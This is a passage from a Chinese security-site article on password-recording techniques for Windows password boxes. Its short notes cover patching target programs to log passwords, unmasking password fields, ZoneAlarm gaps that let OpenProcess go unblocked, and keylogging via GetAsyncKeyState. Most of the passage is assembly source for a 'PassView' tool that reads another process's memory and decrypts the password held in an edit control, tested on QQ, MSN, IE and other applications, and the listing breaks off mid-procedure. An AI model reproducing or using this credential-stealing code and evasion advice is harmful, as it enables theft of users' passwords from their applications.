科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道控件密码窗口的秘密 全新的通用密码记录技术介绍(2)

控件密码窗口的秘密 全新的通用密码记录技术介绍(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:

作者:论坛整理 来源:zdnet网络安全 2008年4月14日

关键字: 加密 安全技术 密码安全

  • 评论
  • 分享微博
  • 分享邮件
注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.

注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.

注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦. 

注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载..
该库文件编译后只有600多个字节.

注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.


附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL

内存读取获得密码(原创)
;                  #--------------------------------------#         #
;                #  PassView                               #      #
;              #                                            #   #
;            #                                                #
;          #                      2007.1.1                    #
;            #                    codz: czy                #    #
;             #------------------------------------------#        #

;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR

                .386
                .model flat, stdcall
                option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include     masm32includewindows.inc
include     masm32includekernel32.inc
include     masm32includeuser32.inc
include     masm32includegdi32.inc


includelib  masm32libkernel32.lib
includelib  masm32libuser32.lib
includelib  masm32libgdi32.lib

CLIENT_ID STRUCT        ; sizeof = 8
        UniqueProcess        HANDLE        ?
        UniqueThread        HANDLE        ?
CLIENT_ID ENDS

THREAD_BASIC_INFORMATION STRUCT        ; sizeof = 1ch
        ExitStatus                                DWORD           ?
        TebBaseAddress                        PVOID                ? ; PTEB
        ClientId                            CLIENT_ID        <> ; 8h
        AffinityMask                        DWORD                ? ;
        Priority                            DWORD                ?
        BasePriority                DWORD                ?
THREAD_BASIC_INFORMATION ENDS

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain        PROTO        :DWORD,:DWORD,:DWORD,:DWORD
ViewPass                proto
_ProcessPeFile          proto :dword
GetUnknowVarOffset      proto
GetUser32Base           proto :dword
CheckOS                 proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS                equ        0
ThreadBasicInformation        equ 0
DLG_MAIN        equ                1000
ID_PWD                equ                1001
IDB_1                equ            1
IDC_BMP                equ            108

RGB MACRO red, green, blue
        xor eax, eax
        mov al, blue    ; blue
        rol eax, 8
        mov al, green   ; green
        rol eax, 8
        mov al, red     ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain    dd ?
vp          db ’viewpass 0.1 codz czy’,0
PASSLEN     DD ?
ENCODE      DD ?
WINTHREADID DD ?
WINHAND     DD 0
unknownvar  DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset   dd ?
modbase     dd ?
lenoffset   dd ?
passoffset  dd ?
Tahoma      db ’Tahoma’,0
editname    db ’EdIt’,0
Richeditname db ’RichEdit20W’,0
dataname    db ’.data   ’,0
erros       db ’不是吧,还在用WIN9X/NT4’,0
nowin       db ’找不到主窗体’,0
nowin2      db ’找不到子窗体中的密码窗口’,0
errnowow    db ’不能找到UserRegisterWowHandlers函数地址’,0
errnocode   db ’不能找到UserRegisterWowHandlers函数中相匹配的机器码’,0
erropenthread db ’不能打开线程’,0
errgetteb     db ’打开线程但不能得到TEB’,0
errnorealcid  db ’不能得到TEB中的RealClientID’,0
errnounknowvar db ’不能从user32.dll中找到未知变量’,0
passerr     db ’密码太长或为空’,0
tebformat   db ’TEB %x’,0
varformat   db ’user32.dll gSharedInfo addr:%x’,0
varformat2  db ’GUI TABLE in user modle addr:%08x’,0
realcidformat  db ’real cid:%x’,0
Wndformat      db ’pass window hand:%x,win thread id:%x’,0
wndcontformat  db ’win struct:%x’,0
passaddrformat db ’pass addr:%x’,0
passlenformat  db ’pass len:%d’,0
passformat     db ’pass decode  is:%x’,0
user32dll      db ’user32.dll’,0
Ntdll                   db        "NTDLL.DLL",0
_UserRegisterWowHandlers  db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND     DD 0
apiquerthread  dd ?
Pthreadinfo    dd ?
.data?
hInstance           dd ?
szBuffer           db 256 dup        (?)
buffervar      db 32 dup (?)
buffervar2     db 32 dup (?)
bufferteb      db 32 dup (?)
bufferPassWnd  db 32 dup (?)
bufferrealcid  db 32 dup (?)
bufferwndcont  db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen  db 32 dup (?)
bufferpass1    db 128 dup (?)
bufferuni      db 256 dup (?)
classname      db 128 dup (?)
buffer1        db 128 dup (?)
buffercode     db 1024 dup (?)

                .code

;********************************************************************
ViewPass  proc
            LOCAL parid:dword
            LOCAL threadinfo:THREAD_BASIC_INFORMATION

        ;invoke MessageBox,0,offset vp,offset vp,1

;--------------判断操作系统        
        invoke CheckOS
        .if eax == 0
            ret
        .endif        
        
;---------------得到密码窗口句柄,以及线程句柄,进程句柄
            
            MOV EBX,WINHAND
            .if  EBX!=NULL
               invoke GetWindowThreadProcessId,eBx,addr parid
               MOV    WINTHREADID,EAX
               ;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
               ;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
            .else   
                invoke    MessageBox,0,offset nowin2,offset vp,1
                ret      
            .endif
;-------------根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

        invoke GetUser32Base,parid
        mov    modbase,eax

;--------------根据窗口所在的线程得到该线程的TEB地址
            invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
            .if        eax != NULL
                    mov     THREADHAND,EAX
          , ;              invoke        LoadLibrary,offset Ntdll
                    invoke        GetProcAddress,eax,offset _ZwQueryInformationThread
                    mov     apiquerthread,eax                     
                    push    0
                    push    sizeof THREAD_BASIC_INFORMATION
                    lea     ecx,threadinfo
                    push    ecx
                    push    ThreadBasicInformation
                    push    THREADHAND
                    call    apiquerthread
                    .IF EAX == STATUS_SUCCESS
                        lea ecx,threadinfo
                        mov esi,[ecx+4] ;得到TEB了
                    .ELSE
                        invoke MessageBox,0,offset errgetteb,offset vp,1
                        ret
                .ENDIF
        .else
            invoke MessageBox,0,offset erropenthread,offset vp,1
            ret
        .endif
        ;invoke wsprintf,offset bufferteb,offset tebformat,esi
        ;invoke MessageBox,0,offset bufferteb,offset vp,1   
        
;-------------------------得到TEB中的RealClientID        
        add esi,6cch
        add esi,1ch
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
               mov eax,offset buffer1
               mov eax,[eax]
               mov edi,eax
               .if eax !=NULL
               ;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
               ;invoke MessageBox,0,offset bufferrealcid,offset vp,1
               .else
                invoke MessageBox,0,offset errnorealcid,offset vp,1
               ret
               .endif
        .endif
     

        
        ;密码窗口句柄取低16位
        xor eax,eax
        mov   ebx,WINHAND
        mov   ax,bx
        add   ax,ax
        add   ax,bx ;3
        add   ax,ax ;6
        add   ax,ax ;12
        mov   ebx,eax
        pushad
        invoke GetUnknowVarOffset
        .if eax !=NULL
               mov eax,VarOffset
               add eax,modbase
               add eax,VirtualAddress
               ;invoke wsprintf,offset buffervar,offset varformat,eax
               ;invoke MessageBox,0,offset buffervar,offset vp,1        
        .else
                invoke MessageBox,0,offset errnounknowvar,offset vp,1
                ret
        .endif
        popad
        mov ecx,VarOffset
        add ecx,modbase
        add ecx,VirtualAddress
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
                ;push ecx
               ;invoke wsprintf,offset buffervar2,offset varformat2,ecx
               ;invoke MessageBox,0,offset buffervar2,offset vp,1
               ;pop ecx

        .endif        
        add  ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
        invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        sub ecx,edi ;减REALCLIENTID
        mov esi,ecx  
        ;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
        ;invoke MessageBox,0,offset bufferwndcont,offset vp,1   
        
        add esi,passoffset
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov esi,[ecx]
        .endif
        ;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
        ;invoke MessageBox,0,offset bufferpassaddr,offset vp,1         
        ;得到密码长度
        mov  ecx,esi
        add  ecx,lenoffset
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
                mov PASSLEN,ecx
        .endif     
        .if ecx>0 && ecx <32
        ;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
        ;invoke MessageBox,0,offset bufferpasslen,offset vp,1      
        .else
        invoke MessageBox,0,offset passerr,offset vp,1
        ret
        .endif   
        
        ;得到加密密码的变量        
        mov    ecx,esi
        add    ecx,0ECh
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                MOV ECX,[ECX]
                xor edx,edx
                movzx edx,cl
                mov ENCODE,EDX
        .endif
        ;invoke wsprintf,offset bufferpass1,offset passformat,edx
        ;invoke MessageBox,0,offset bufferpass1,offset vp,1                 
        
        ;得到解密后的密码
        mov    ecx,esi
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        mov ebx,ecx        
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
        .if eax == TRUE
                mov esi,offset buffer1
        .endif
        
        MOV EDX,ENCODE
        mov cl,dl
        mov edi,PASSLEN
@@nextpass:        
        CMP EDI,1
        JBE @@firstpass
        mov eax,esi
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass
@@firstpass:
        or  cl,43h ;WHY?
        mov edx,offset buffer1
        xor [edx],cl
        ;密码可能是UNICODE的
        invoke lstrlenA,edx
        
        .if eax<PASSLEN ;密码是UNICODE
        mov edx,PASSLEN
        add edx,edx
        mov ecx,ebx
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
        .if eax == TRUE
                mov esi,offset buffer1
        .endif
        mov edi,PASSLEN
        add edi,edi
        MOV EDX,ENCODE
        mov cl,dl
        
@@nextpass2:        
        CMP EDI,1
        JBE @@firstpass2
        mov eax,esi
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass2
@@firstpass2:
        or  cl,43h
        mov edx,offset buffer1
        xor [edx],cl
        ;invoke MessageBoxW,0,edx,edx,1
        invoke        SetDlgItemTextW,hWinMain,ID_PWD,edx      
        .else
        mov ecx,offset buffer1
        add ecx,PASSLEN
        xor eax,eax
        MOV [ECX],eax
        invoke        SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
        invoke  RtlZeroMemory,offset buffer1,128
        .endif
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章